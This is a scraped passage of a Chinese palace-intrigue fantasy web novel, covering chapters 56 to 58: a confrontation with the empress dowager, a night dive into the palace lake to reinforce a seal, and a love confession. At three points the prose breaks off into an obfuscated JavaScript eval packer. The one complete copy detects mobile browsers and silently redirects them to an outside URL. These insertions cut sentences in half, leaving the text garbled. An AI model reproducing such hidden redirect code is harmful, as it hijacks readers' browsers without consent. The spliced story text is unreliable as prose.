这个问题很关键。江清砚深吸一口气:“据臣查证，六芒星阵多为封印之用。此阵以六处寺庙为节点，以太液池为中心，可能是在封印……某种东西。” 他没有说“某人”，但所有人都听懂了。 封印在太液池下的，会是什么？ 皇帝的手指在龙椅扶手上轻轻敲击，发出规律的轻响。每一声，都敲在百官的心上。 许久，皇帝开口:“传太后。” 三字一出，满殿皆惊。 太后虽然尊贵，但久居深宫，不问政事，陛下为何突然要在大朝上传太后？ 很快，太后銮驾到了。六十余岁的太后身着凤袍，头戴金冠，虽然年纪大了，但气度雍容，不怒自威。她在御座旁设的凤椅上坐下，目光扫过大殿，最终落在江清砚身上。 “皇帝召本宫来，所为何事？”太后的声音平和，却带着不容置疑的威严。 皇帝站起身，走到御阶前，对着太后躬身一礼:“母后，今日大朝，刑部郎中江清砚奏报，七年前太液池疏浚工程涉嫌贪腐，且工程中暗设六芒星阵，阵法中心在太液池下。此事涉及内宫，儿臣不得不请母后来，问个明白。” 太后的脸色微不可察地变了变，但很快恢复平静:“太液池疏浚，是本宫当年提议的。太液池年久淤塞，水质浑浊，不利于宫中嫔妃康健。本宫命人疏浚，有何不妥？” “母后慈心，儿臣明白，”皇帝的语气依旧恭敬，“但疏浚工程耗银三十万两，实际工程量却不足一半。多出的款项，流向了六处寺庙道观的扩建。而这几处寺庙，恰好组成六芒星阵，中心在太液池。母后可否解释，这是为何？” 太后的手指在凤椅扶手上收紧，指节发白。她盯着皇帝，缓缓道:“皇帝这是在质问本宫？” “儿臣不敢，”皇帝垂眸，“但此事关系重大，涉及玄学阵法，儿臣不得不问清楚。毕竟……太液池在宫中，若真有什么阵法，恐危及宫闱安全。” 话说到这个份上，已经是剑拔弩张了。 大殿内落针可闻，所有人都屏住呼吸，看着这皇家母子之间的对峙。 太后沉默良久，忽然笑了:“皇帝多虑了。什么六芒星阵，本宫不懂。本宫只是信佛，见那几处寺庙破败，便捐钱修缮。至于太液池疏浚……可能是下面的人办事不力，虚报工程量，中饱私囊。皇帝该查的是工部那些贪官，而不是来质问本宫。” 这番话，将责任推得一干二净。 皇帝看着太后，眼神复杂。许久，他转身走回龙椅，坐下:“母后说得是。是儿臣考虑不周。”他看向江清砚，“江清砚，太后的话你听到了。太液池疏浚工程，是下面的人贪腐，与太后无关。你继续查，务必将涉案人员一网打尽。” “臣遵旨。”江清砚行礼，心中却是一沉。 陛下这是在……妥协？ 退朝时，已是辰时三刻。 百官陆续退出奉天殿，个个神色凝重。今日这场大朝，表面上是陛下赢了——太后当众被质问，颜面受损。但实际上，太后轻描淡写就把责任推掉了，陛下也没有深究。 这其中的意味，耐人寻味。 江清砚走在人群中，谢云辞快步跟了上来，两人并肩而行，没有说话，但眼神交流间，已经明白了对方的意思。 回到刑部，周尚书已经在值房等着了。 “今日之事，你怎么看？”周尚书开门见山。 “太后早有准备，”江清砚说，“或者说，她背后有人指点。那番说辞，推得干干净净，陛下也不能再逼问。” 周尚书点头，神色凝重:“陛下今日，其实是在试探。试探太后的态度，也试探朝中各方势力的反应。你看到没有，太后说话时，有好几位老臣眼神闪烁，显然知道些什么，但不敢说。” “那接下来……” “陛下已经密令龙影卫，暗中调查太后这些年的行踪和接触的人，”周尚书压低声音，“但此事极其敏感，你我在明面上，必须小心行事。太后毕竟是太后，没有铁证，动不得。” 江清砚明白。太后经营数十年，在朝中根基深厚，门生故旧遍布。若没有确凿证据，贸然动手，只会引起朝局动荡。 “孙平案还要继续查吗？”他问。 “查，但换个方向，”周尚书说，“既然太后说责任在下面的人，那我们就查下面的人。工部、内务府、还有那个‘福源商行’，一个一个查。只要抓住一个突破口，就能顺藤摸瓜。” “臣明白。” 周尚书看着他，忽然叹了口气:“江清砚，这条路很险。今日之后，你已成了太后的眼中钉。以后行事，务必小心。” “谢尚书提醒，”江清砚行礼，“但既然选择了这条路，就不会退缩。” 周尚书眼中闪过一丝赞赏，摆摆手让他退下了。 回到自己的值房，江清砚摊开京城地图，看着那个六芒星阵，陷入沉思。太后的话，他一个字都不信。六处寺庙的扩建，太液池的疏浚，时间、地点、阵法都吻合，这绝不是巧合。 但太后为什么要布这个阵？封印的又是什么？ 他想起黑衣人的话:“六芒星阵乃封印之阵，非害人之阵。”如果真是封印，那封印的一定是极其危险的东西，以至于要在宫中布阵镇压。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么？！”谢云辞猛地抬头，“你疯了？太液池在宫中，戒备森严，一旦被发现，就是死罪！” “但只有亲眼看到池底的情况，才能知道那下面到底有什么，”江清砚说，“而且……我有种感觉，那里藏着一切的答案。” “不行，”谢云辞斩钉截铁，“太危险了。而且就算要探，也该我去。” “你去和我去有什么区别？”江清砚看着他，“我们是一体的，你去冒险，我就能安心吗？” 谢云辞语塞。他明白江清砚的意思，但让他眼睁睁看着江清砚去冒险，他做不到。 两人对视着，谁也不肯让步。 就在这时，门外传来陈七的声音:“大人，宫里来人了，说陛下召您和江郎中即刻入宫。” 皇帝深夜召见？ 两人对视一眼，都看到了彼此眼中的惊讶。这个时候召见，定有要事。 匆匆换上官服，两人随内侍入宫。不是去奉天殿，而是直接被带到了御书房。 御书房内，皇帝没有穿龙袍，只着一身明黄色常服，正负手站在窗前。听到脚步声，他转过身，神色是前所未有的凝重。 “臣叩见陛下。”两人行礼。 “平身，”皇帝走到书案后坐下，示意两人也坐，“今日大朝，你们看到了。太后……不简单。” 开门见山。 “陛下，”谢云辞谨慎地问，“您怀疑太后……” “不是怀疑，是确定，”皇帝的声音低沉，“太后与‘烛龙之眼’，确有勾结。但朕没有证据。” 江清砚和谢云辞心中一震。陛下竟然如此直白地说了出来。 “七年前，太液池疏浚，是太后极力主张的，”皇帝继续说，“当时朕刚登基不久，根基未稳，只能答应。但朕留了个心眼，让龙影卫暗中监视。发现工程中确实有蹊跷，但那时……朕动不了她。” 他顿了顿，眼中闪过一丝痛色:“这些年，太后在朝中安插亲信，勾结外臣，甚至……可能与敌国暗通款曲。朕一直在等，等一个能一举扳倒她的机会。” “陛下，”江清砚开口，“六芒星阵，封印的到底是什么？” 皇帝沉默良久，缓缓吐出一个名字:“前朝末代皇帝——永昌帝。” 永昌帝？他不是早在五十年前就死了吗？ “永昌帝没有死，”皇帝的声音如同寒冰，“至少，他的‘某种存在’没有死。前朝‘烛龙教’用秘法，将他的魂魄封存在太液池下，以六芒星阵镇压。太后……想解开封印。” “为什么？”谢云辞问。 “因为永昌帝，是太后的祖父，”皇帝看着两人，一字一句，“太后想复辟前朝，让她的孙子——三皇子，成为新的皇帝。” 御书房内，死一般的寂静。 这个真相，比他们想象的更可怕。 56. 第 56 章 第五十六章月下定情 御书房内，烛火明灭。 皇帝的话如同惊雷，炸响在江清砚和谢云辞耳边。前朝末代皇帝永昌帝的魂魄被封在太液池下，太后图谋复辟，想要解开封印——这已经不仅仅是朝堂争斗，而是关乎国本的大事。 “陛下……”谢云辞的声音有些干涩，“您确定吗？” 皇帝从书案抽屉中取出一卷发黄的帛书，展开放在桌上:“这是前朝史官留下的密录。永昌四年，‘烛龙教’教主面圣，称可用秘法助帝王长生。永昌帝心动了，命其施法。但所谓‘长生’，实则是将魂魄剥离肉身，封存于‘圣眼’之中，需以六芒星阵持续镇压，否则魂魄会反噬，化为厉鬼。” 江清砚看着帛书上的记载，字字惊心。上面详细描述了封魂的过程:需要八名童男童女的心头血，需要至阴之地的阵眼，还需要……江谢两家血脉作为钥匙，才能最终完成。 “江谢两家……”他喃喃道。 “没错，”皇帝看着江清砚，“江家的青木生机，谢家的玄铁兵符，不仅是打开‘烛龙眠息之地’的钥匙，也是完成封魂术的关键。前朝灭亡时，永昌帝的魂魄已经封存了一半，但因为江谢两家宁死不交钥匙，仪式未能完成，成了半成品。” 半成品……所以需要持续用六芒星阵镇压，否则魂魄会失控。 “太后怎么知道这些？”谢云辞问。 “太后本姓赵，前朝皇室旁支，”皇帝神色复杂，“她入宫时，朕还年幼，只当她是个普通的妃子。后来她一步步爬上后位，朕才察觉不对。但那时，她已羽翼丰满。” 他顿了顿，继续道:“朕查了多年，才发现她暗中与前朝余孽勾结，收集江谢两家的血脉信息。江家灭门，谢家血案，恐怕都与此有关。” 江清砚的手指骤然收紧。父母的死，果然不是意外。 “所以她要抓我们，不是为了献祭，而是为了用我们的血脉完成封魂术？”谢云辞的声音冰冷。 “对，”皇帝点头，“完整的封魂术需要活着的江谢血脉作为‘引’，将永昌帝的魂魄彻底封入‘圣眼’，然后再用某种仪式转移到新的身体里。那个身体……”他看向两人，“很可能就是三皇子。” 三皇子！ 江清砚想起三皇子那双看似温润，实则深不可测的眼睛。如果太后真的计划将永昌帝的魂魄转移到三皇子体内，那三皇子本人知道吗？是自愿，还是被迫？ “陛下现在打算怎么做？”江清砚问。 “阵法必须破坏，封印必须加固，”皇帝的眼神锐利，“但不能明着来。太后在朝中势力庞大，一旦撕破脸，可能会逼她铤而走险。所以……需要暗中进行。” “陛下的意思是……” “朕要你们，潜入太液池底，加固封印，并找到‘圣眼’的位置，”皇帝一字一句，“然后，毁掉它。” 毁掉圣眼！ 江清砚和谢云辞对视一眼，都看到了彼此眼中的决然。这任务危险至极，但确实只有他们能做——江家的青木生机能感应到封印的力量，谢家的武功能在水下自保，而且他们与“烛龙之眼”交手多次，了解对方的套路。 “臣愿往。”两人同时开口。 皇帝看着他们，眼中闪过一丝欣慰，但更多的是担忧:“此事凶险万分。太液池下有守卫，很可能是被控制的傀儡或水鬼。而且太后那边，随时可能察觉。你们一旦下去，就是九死一生。” “但必须有人去做，”谢云辞道，“陛下，此事交给臣和清砚，最合适。” 皇帝沉默良久，最终点头:“好。朕会安排龙影卫在外围接应。但潜入池底，只能靠你们自己。”他从怀中取出一枚令牌，递给谢云辞，“这是调动宫中暗卫的令牌，危急时刻可用。但记住，不到万不得已，不要暴露。” “臣明白。” “时间紧迫，”皇帝起身，“三日后是月圆之夜，太后很可能会在那时有所动作。你们要在那之前，潜入太液池，加固封印。” “是。” 离开御书房时，已是子夜。宫道上空无一人，只有巡夜侍卫的灯笼在远处晃动。 两人沉默地走着，直到走出宫门，上了马车，谢云辞才开口:“清砚，你怕吗？” 江清砚靠在车厢壁上，看着窗外的夜色:“怕。但有些事，怕也要做。” 谢云辞握住他的手，发现他的指尖冰凉:“如果你不想去，我可以一个人……” “不，”江清砚转头看他，眼神清澈而坚定，“我们说好的，一起。” 谢云辞的心中涌起一股热流。他紧紧握住江清砚的手，仿佛要将自己的力量传递过去。 回到谢府，两人没有立刻休息，而是来到书房，开始制定计划。 太液池在皇宫内苑，要潜入不容易。好在现在是秋天，池水清浅，而且皇帝给了他们宫中地图和暗道的路线。但即使如此，难度依然极大。 “我们需要水靠和换气的工具，”谢云辞指着地图上的一个点，“太液池最深处有三丈，普通人无法长时间潜泳。清砚你的身体……” “我可以，”江清砚说，“青木生机可以让我在水下闭气更久。但我们需要避开守卫。白天池边有宫女太监，晚上有巡逻侍卫。” “那就丑时行动，那时人最困，”谢云辞说，“我会先解决外围的守卫，你在我后面下水。一旦发现不对，立刻上浮，不要管我。” “不行，”江清砚反对，“要下一起下，要上一起上。” 两人又为细节争执了半天，最终各退一步——一起下水，但江清砚必须跟在谢云辞身后三丈，保持距离，以便随时应变。 计划定下时，已是寅时初。 窗外，月已西斜，秋露凝霜。 “睡一会儿吧，”谢云辞看着江清砚眼下的青黑，“明天还要准备。” “嗯。” 两人回到卧房，却都睡不着。江清砚躺在床上，看着帐顶的绣花，脑中不断回想着皇帝的话，回想着父母的脸，回想着密室里的黑暗。 不知过了多久，他听到隔壁房间传来轻微的声响——是谢云辞也睡不着，在屋里踱步。 他起身，披衣出门，轻轻推开谢云辞的房门。 谢云辞正站在窗前，望着窗外的月光。听到声音回头，看到江清砚，眼中闪过一丝惊讶:“怎么还没睡？” “睡不着，”江清砚走到他身边，“你呢？” “一样。” 两人并肩站在窗前，看着窗外庭院。秋月如霜，洒在青石地上，将一切都镀上了一层清冷的光辉。院中那棵老槐树的叶子已经开始泛黄，风一吹，便簌簌落下。 “清砚，”谢云辞忽然开口，“如果……我是说如果，这次我们回不来……” “没有如果，”江清砚打断他，“我们会回来。” “我是认真的，”谢云辞转头看着他，月光下，那张棱角分明的脸显得格外柔和，“有些事情，我想现在说清楚。” 江清砚的心跳漏了一拍。 “从我第一次见你，在破庙里，浑身是血，却还强撑着要保护你的时候，我就知道，你是不一样的，”谢云辞的声音很低，却很清晰，“后来一路同行，看你用毒术救人，看你金殿上舌战群臣，看你为我挡刀……江清砚，我谢云辞这辈子，没这么在意过一个人。” 江清砚的嘴唇微微颤抖，想说些什么，却发不出声音。 “我知道，你背负着血海深仇，我也一样。这条路太难走，太危险，原本不该把你牵扯进来，”谢云辞的声音带着苦涩，“可我自私，我想让你在我身边，想保护你，也想……被你保护。” 他握住江清砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863532|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手，手心滚烫:“清砚，我喜欢你。不是朋友之谊，不是兄弟之情，是想与你共度一生的那种喜欢。” 月光如水，静静流淌。 江清砚看着谢云辞的眼睛，那里面映着月光，也映着他的影子。清澈，炽热，毫无保留。 他的心脏剧烈跳动起来，仿佛要冲破胸腔。那些压抑已久的情感，如同决堤的洪水，汹涌而出。 “我……”他的声音有些哽咽，“我也……” 话没说完，谢云辞忽然俯身，吻住了他的唇。 这个吻很轻，很温柔，带着小心翼翼的试探，如同蝴蝶轻触花瓣。但仅仅是这样轻触，就让江清砚浑身一颤，仿佛有电流从唇齿间流过，流遍四肢百骸。 他闭上眼睛，手攀上谢云辞的肩膀，生涩地回应着。 月光透过窗棂，洒在两人身上，将他们相拥的身影拉得很长。秋夜的风吹过，带来桂花的香气，混合着书房里的墨香，萦绕不散。 许久，谢云辞才松开他，额头抵着他的额头，呼吸微乱:“清砚，答应我，无论发生什么，都要活着。为了我，活着。” 江清砚的眼眶湿润了。他点头，声音哽咽:“你也是。答应我。” “嗯，我答应你。” 两人就这样在窗前相拥，谁也没有说话，只有心跳声在寂静中清晰可闻。 不知过了多久，江清砚轻声说:“云辞，我有话对你说。” “什么？” “关于江家灭门的真相，我……其实记得一些，”江清砚的声音很低，“那些黑衣人，他们在找一样东西，不是玉佩，而是……一张图。” “图？” “一张标注着‘烛龙眠息之地’入口的地图，”江清砚闭了闭眼，“那张图，被我父亲分成了三份，一份在他身上，一份在我母亲身上，还有一份……藏在了我身上。” 谢云辞一怔:“你身上？” 江清砚解开衣襟，露出心口的位置。月光下，那里有一道淡青色的疤痕，形状像一片叶子——正是青木玉佩的形状。 “青木生机觉醒时，这道疤就出现了，”他低声说，“我一直以为是心疾留下的，直到最近才明白，这是父亲用秘术，将地图的一部分，封印在了我的血脉里。” 所以“烛龙之眼”一直找不到完整的地图，因为最重要的那部分，就藏在江清砚身上，与他的血脉融为一体。 “那另外两份……”谢云辞问。 “父亲那份，可能随着他葬身火海了；母亲那份……”江清砚顿了顿，“我怀疑，在谢家。” 谢云辞的瞳孔骤然收缩。 “谢家血案，可能也是为了找地图，”江清砚看着他，“你父亲和我父亲是至交，我母亲可能将地图托付给了你父亲。所以‘烛龙之眼’在灭江家后，又对谢家下手。” 一切都说得通了。 “所以我们需要找到那两份地图，合三为一，才能知道‘烛龙眠息之地’的确切位置，”谢云辞深吸一口气，“而那里，很可能封印着永昌帝的……本体？” “可能不止，”江清砚摇头，“‘烛龙眠息之地’被江谢两家世代守护，里面封存的东西，可能比永昌帝的魂魄更古老，更可怕。” 两人对视，都感到一股寒意。 前路，比他们想象的更加艰难。 但此刻，月光下，他们相拥而立，心意相通，仿佛有了面对一切的勇气。 “等太液池的事解决后，我们去找地图，”谢云辞握紧江清砚的手，“无论那里有什么，我们都一起面对。” “嗯，一起。” 月已西沉，东方泛起了鱼肚白。 新的一天，即将开始。而等待他们的，是未知的凶险，也是不得不赴的使命。 但至少此刻，他们拥有彼此。 这就够了。 57. 第 57 章 第五十七章联手布局 九月二十二，晨。 谢府书房内，江清砚和谢云辞相对而坐，桌上摊着皇宫的地图和太液池的详细图纸。晨光透过窗纸，将两人的影子拉长在青石地上。 “丑时行动，那时巡夜的侍卫会换班，有半刻钟的空隙，”谢云辞指着地图上的路线，“我们从西华门进入，走御花园的小径，绕过侍卫的巡逻路线，到这里——太液池的西北角。那里有一片假山，可以隐蔽。” 江清砚仔细看着路线，点头:“但丑时池边也会有太监守夜。怎么解决？” “龙影卫会提前在太监的茶水里下药，让他们昏睡两个时辰，”谢云辞说，“但药效只能持续到丑时三刻，我们必须在那个时间前上岸离开。” 时间紧迫。 “水下的情况呢？”江清砚问。 “太液池最深的地方有三丈，池底有淤泥和水草，”谢云辞神色凝重，“最重要的是，池底可能有守卫。陛下说，太后在池中养了一种‘水鬼’——不是真的鬼，而是训练有素的水下杀手，能在水下闭气一刻钟以上。” 一刻钟……足够发动致命袭击了。 “我有办法对付，”江清砚从怀中取出几个小瓷瓶，“这是特制的药粉，入水即溶，能让周围三丈内的人四肢麻痹，持续一盏茶时间。足够我们通过危险区域。” 谢云辞看着他手中的瓷瓶，眼中闪过一丝心疼。江清砚总是这样，默默准备好一切，却从不言说背后的辛苦。 “好，那我们分配任务，”他收回思绪，“我负责解决可能出现的守卫，你负责寻找封印的位置。一旦找到，你用青木生机感应封印的强弱，我负责加固。” “加固封印需要什么？”江清砚问。 谢云辞从怀中取出一枚玉石，通体莹白，温润如脂:“这是陛下给的‘镇魂玉’，能增强封印的力量。但需要以血为引，将玉石嵌入阵眼。” 以血为引…… “用我的血，”江清砚立刻道，“青木生机有净化之效，能增强玉石的力量。” “不行，你身体还没完全恢复，”谢云辞反对，“用我的。” “我的更合适。” 两人又争执起来，最终各退一步——两人的血都用，混合在一起，效果可能更好。 计划定下，接下来是准备工作。 谢云辞去六扇门挑选人手，安排外围接应；江清砚则留在府中，准备水下用的物品:特制的水靠、防水的火折、能发光的夜明珠、还有各种应急的药物。 午时，周尚书突然来访。 “江郎中，这是工部找到的，关于太液池疏浚时埋设石桩的详细记录，”周尚书递上一本册子，“可能对你们有帮助。” 江清砚接过翻看，里面详细记录了每一根石桩的材质、尺寸、埋设深度和方位。他快速计算着，发现这些石桩的排列，确实构成一个复杂的阵法。 “这是……七星镇魂阵？”他辨认出阵法的轮廓。 周尚书点头:“对。但奇怪的是，这个阵法本该是完整的北斗七星形状，但记录里少了一根石桩——天枢位的那根。” 天枢位，北斗七星的第一颗，也是阵法的起始点。少了这一根，阵法就不完整，效力会大打折扣。 “难道是埋设时出了差错？”江清砚猜测。 “或者，”周尚书压低声音，“是有人故意没埋。因为天枢位对应的，正是太液池最深、最中心的位置。那里……可能有什么东西，不能轻易触动。” 江清砚的心沉了下去。池底中心，可能就是“圣眼”所在，或者封印的核心。 “还有件事，”周尚书神色更加凝重，“我查了孙平生前最后接触的人。除了工部的同僚，还有一个……宫里的人。” “谁？” “尚寝局的女官，姓林，是太后的远房侄女，”周尚书说，“孙平死前三天，曾与她私下见过面。而孙平死后第二天，这个林女官就‘病逝’了。” 又是灭口。 “看来太后那边，动作很快，”江清砚合上册子，“周尚书，这几日刑部的事，可能要劳烦您多费心了。我和谢大人……有要事要办。” 周尚书看着他，眼中闪过担忧:“江清砚，我知道你们要做什么。陛下已经跟我说了。此行凶险，务必小心。刑部这边，我会压住所有动静，不让太后的人察觉异常。” “谢尚书。” 送走周尚书后，江清砚继续准备。他将药粉分装，检查水靠的密封性，又将夜明珠用油纸包好，确保水下能发光。 申时，谢云辞回来了，带回了一个人——陈七。 “大人，江郎中，都安排好了，”陈七行礼，“六扇门的兄弟分了四组，分别在皇宫四个方向接应。一旦有变，会制造混乱，掩护你们撤退。” “辛苦了，”谢云辞点头，“记住，除非万不得已，不要暴露身份。” “是。” 陈七退下后，谢云辞看着江清砚准备的东西，忽然道:“清砚，如果……如果这次真的回不来，你有什么遗憾吗？” 江清砚的动作顿了顿，然后继续将药瓶装进防水的皮囊:“有。我还没为父母报仇，还没查清江家灭门的全部真相，还没……”他抬头看向谢云辞，“还没和你一起去江南看烟雨。” 谢云辞的心像是被什么击中了，柔软而酸涩。他走到江清砚身边，握住他的手:“等这件事了结，我们就去江南。我答应你。” “嗯。” 傍晚，两人简单用了晚膳，然后各自休息，养精蓄锐。但江清砚躺在床上，却睡不着。脑中不断回想着计划中的每一个细节，试图找出可能出现的纰漏。 亥时，他起身去书房，想再检查一遍物品。推开门，却看到谢云辞也在里面，正对着一把匕首发呆。 那是一把很旧的匕首，匕身已经磨损，刀柄上缠着褪色的布条。 “这是我父亲留下的，”谢云辞轻声说，“他教我用刀的第一天，给了我这把匕首。他说，刀是凶器，但也能守护。用刀的人，心中要有要守护的东西，刀才不会迷失方向。” 江清砚走到他身边，看着那把匕首:“你父亲是个了不起的人。” “嗯，”谢云辞将匕首收入鞘中，递给江清砚，“这把匕首，你带着。我父亲在天之灵，会保佑你。” 江清砚接过，入手沉甸甸的，不仅是匕首的重量，更是那份心意。 “谢谢。” 两人又在书房坐了一会儿，直到子时将近。 换上水靠，检查装备，一切准备就绪。江清砚将青木玉佩贴身藏好，又将谢云辞给的匕首绑在小腿上。谢云辞则检查了绣春刀和几样暗器。 丑时初，两人悄无声息地离开谢府，融入夜色。 秋夜寒凉，街上空无一人，只有打更的梆子声在远处回荡。两人避开巡夜的士兵，绕到皇宫西侧。西华门外，陈七已经带人等在那里。 “大人，一切正常，”陈七低声道，“龙影卫已经得手，太监都昏睡了。但宫里传来消息，太后今晚……在太液池边的‘观澜亭’设了宴，宴请几位宗室女眷，亥时才散。” 亥时才散？那现在池边可能还有残留的宫女太监。 “无妨，”谢云辞道，“按原计划进行。” 陈七点头，做了个手势，几个黑影迅速散开，消失在宫墙下。片刻后，西华门旁的一扇小门悄无声息地打开了——是龙影卫接应的人。 两人闪身而入，门在身后轻轻关上。 皇宫内苑的夜晚，比外面更加寂静。月光如水，洒在宫道上，两侧的宫灯在夜风中摇曳，投下憧憧鬼影。 按照预定的路线，两人穿过御花园，绕过几处宫殿，终于看到了太液池。 月光下的太液池波光粼粼，如同撒了碎银。池边的观澜亭还亮着几盏灯笼，但已经空无一人。亭边的回廊上，几个太监歪歪斜斜地靠着柱子，显然已经中了迷药。 “快。” 两人迅速潜到池边，藏身在一片假山后。谢云辞先下水，确认安全后，向江清砚招手。 江清砚深吸一口气，跟着下水。秋夜的池水冰冷刺骨，即使穿着水靠，也能感觉到寒意渗透进来。他催动青木生机，暖流在体内流转，驱散了部分寒意。 两人潜入水下，靠着夜明珠的光芒，看清了池底的情况。 太液池底比想象中复杂。不仅有淤泥和水草，还有许多人工放置的巨石，构成了一个迷宫般的结构。那些巨石上，刻着诡异的符文，在夜明珠的照耀下，泛着幽绿的光。 谢云辞打手势，示意跟紧。两人在巨石间穿梭，朝着池心方向前进。 游了约莫十丈，前方突然出现一片开阔地。那里没有巨石，只有平整的石板铺地，石板上刻着一个巨大的阵法——正是七星镇魂阵。 但正如周尚书所说，阵法缺了一角。天枢位的位置，是一个黑洞洞的入口，深不见底。 两人游到入口边，往里看去。入口向下延伸，似乎通往更深处。水从入口流入，形成一个小小的漩涡。 谢云辞示意江清砚留在这里，他先进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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血腥味刺激了水鬼，他们攻势更猛了。 江清砚心急如焚。这样下去，两人都会死在这里。他看向圣眼，又看向永昌帝骸骨心口的那把匕首，脑中灵光一闪。 也许……那把匕首，才是关键！ 他不再犹豫，趁着谢云辞挡住攻击的间隙，猛地冲向石台。水鬼想要阻拦，但谢云辞拼死挡住了他们。 江清砚游到石台边，伸手握住那把匕首。入手冰凉，但匕首上传来一股奇异的波动——那是谢家血脉的共鸣！ 他用力拔出匕首。 就在匕首离开骸骨的瞬间，整个洞穴剧烈震动起来！圣眼的光芒忽明忽暗，骸骨开始崩解，化为粉末。 而那些水鬼，突然全部停止了动作，如同失去了控制的傀儡，缓缓沉入水底。 成功了？ 江清砚握着匕首，还没反应过来，洞穴顶部的石块开始崩塌。巨大的石块落下，激起汹涌的水流。 “快走！”谢云辞游过来，拉住他往出口冲。 两人拼命游出通道，回到七星阵的位置。回头看去，那个入口正在坍塌，很快就会被彻底掩埋。 但危机还没结束。洞穴的坍塌引起了连锁反应，整个池底都在震动。巨石移位，阵法开始崩坏。 “阵法要毁了！”江清砚喊道，“必须加固封印！” 他取出镇魂玉，咬破手指，将血滴在玉石上。谢云辞也咬破手指，两人的血混合在一起，渗入玉石。 玉石发出温润的白光，与池底阵法的幽绿光芒交织。 江清砚将玉石按在天枢位空缺的位置。瞬间，白光暴涨，笼罩了整个阵法。那些崩坏的符文重新亮起，阵法恢复了完整。 震动停止了。 两人浮出水面时，已是精疲力尽。爬上岸，瘫倒在假山后，大口喘息。 远处传来脚步声和呼喊声——是坍塌的动静惊动了侍卫。 “快走。”谢云辞拉起江清砚，两人借着夜色掩护，迅速撤离。 回到谢府时，天已微亮。 书房内，两人相对无言，都还沉浸在刚才的惊险中。 “那把匕首……”谢云辞看着江清砚手中的匕首，“是我谢家的。” “我知道，”江清砚轻声道，“你父亲当年，可能参与了封印永昌帝的行动。这把匕首，就是他留下的。” 谢云辞沉默。父亲从未提过这些，但如今想来，谢家世代镇守北境，恐怕不只是为了戍边。 “圣眼毁了吗？”他问。 “毁了，”江清砚点头，“永昌帝的骸骨也化了。封印已经加固，太后应该无法再动什么手脚了。” 两人松了口气，但心中都明白，这只是一场战役的胜利。太后还在，三皇子还在，“烛龙之眼”还在。 战争，才刚刚开始。 窗外，晨光熹微。 新的一天，新的战斗。 58. 第 58 章 、 第五十八章惊鸿一瞥 九月二十三，晨。 皇宫深处传出消息:太后昨夜突染急病，卧床不起，太医诊治后称是“邪风入体，心神受惊”，需静养月余，期间不见任何人。 朝野震动。 虽然太后久不问政事，但她毕竟是三皇子的生母，在朝中根基深厚。她这一病，许多依附于她的官员都慌了神，纷纷托关系打探消息。 刑部衙门内，江清砚和谢云辞听到这个消息时，正在周尚书的值房议事。 “太后这是……示弱？”周尚书皱眉。 “或者是暂避锋芒，”谢云辞分析，“昨夜太液池的事，她肯定察觉了。圣眼被毁，封印加固，她的计划被打乱，需要时间重新布局。” 江清砚点头:“而且这样一来，她就有了不在场的理由。无论宫中发生什么，都可以推给‘养病’。” “那我们现在该怎么做？”周尚书问。 “继续查，”谢云辞眼神锐利，“太后病了，但她手下的那些人还在。工部、内务府、还有那个‘福源商行’，都要一一清查。只要抓住一个突破口，就能顺藤摸瓜。” 周尚书沉思片刻，看向江清砚:“江郎中，孙平案的证人赵四，现在恢复得怎么样了？” “已经能正常说话了，”江清砚道，“但他很怕，很多事不敢说。” “想办法让他开口，”周尚书神色严肃，“太后这一病，她手下的人可能也会恐慌。这时候最容易找到破绽。” “下官明白。” 离开周尚书的值房，两人回到自己的值房。江清砚开始整理赵四的口供记录，谢云辞则去六扇门调集人手，准备对工部和内务府展开秘密调查。 午时，王书吏送饭进来时，神色有些异常。 “王书吏，有事？”江清砚抬眼看他。 王书吏犹豫了一下，低声道:“江郎中，下官……下官听说了一些事。” “什么事？” “关于太后……宫里有传言，说太后不是生病，而是……遭了反噬，”王书吏的声音压得更低，“据说太后暗中修炼某种邪术，昨夜月圆，正是施法之时，但施法失败，遭到了反噬。” 这传言倒是接近真相。 “你听谁说的？”江清砚问。 “宫里的一个老太监，以前在慈宁宫当差，后来被贬去打扫冷宫了，”王书吏说，“他说太后身边有个姓曹的老太监，这些年一直在帮太后做见不得人的事。昨夜曹太监死了，死状极惨，七窍流血，像是……被什么东西吸干了精气。” 江清砚心中一凛。曹太监，正是太后身边那个每月十五去清风观的人。 “那个老太监现在在哪？” “还在冷宫，”王书吏道，“但他疯疯癫癫的，说话颠三倒四，没人信他。” “带我去见他。” “现在？”王书吏吓了一跳，“江郎中，这……这不合适吧？您是外臣，不能随意进出内宫。” “那就找个合适的理由，”江清砚起身，“就说刑部查案，需要问询宫中旧人。你去找周尚书，让他安排。” 王书吏看着江清砚坚定的眼神，最终点头:“是，下官这就去。” 半个时辰后，手续办妥。江清砚在王书吏的陪同下，进入了皇宫西侧的冷宫区域。 冷宫名副其实，破败、荒凉、死寂。长满青苔的宫墙，脱落了漆皮的宫门，院子里杂草丛生，连鸟都不愿在此停留。 那个老太监住在最角落的一间破屋里。王书吏推开门时，一股霉味扑面而来。屋里昏暗，只有一扇小窗透进些许光线。一个头发花白、衣衫褴褛的老太监蜷缩在墙角，嘴里念念有词。 “李公公，刑部的江郎中来看您了。”王书吏提高声音。 老太监缓缓抬头，浑浊的眼睛看向江清砚，忽然嘿嘿笑起来:“来了……都来了……报应来了……” “李公公，您认识曹公公吗？”江清砚蹲下身，尽量放柔声音。 “曹老狗？”老太监的笑容变得诡异，“死了……都死了……娘娘的债，要还了……” 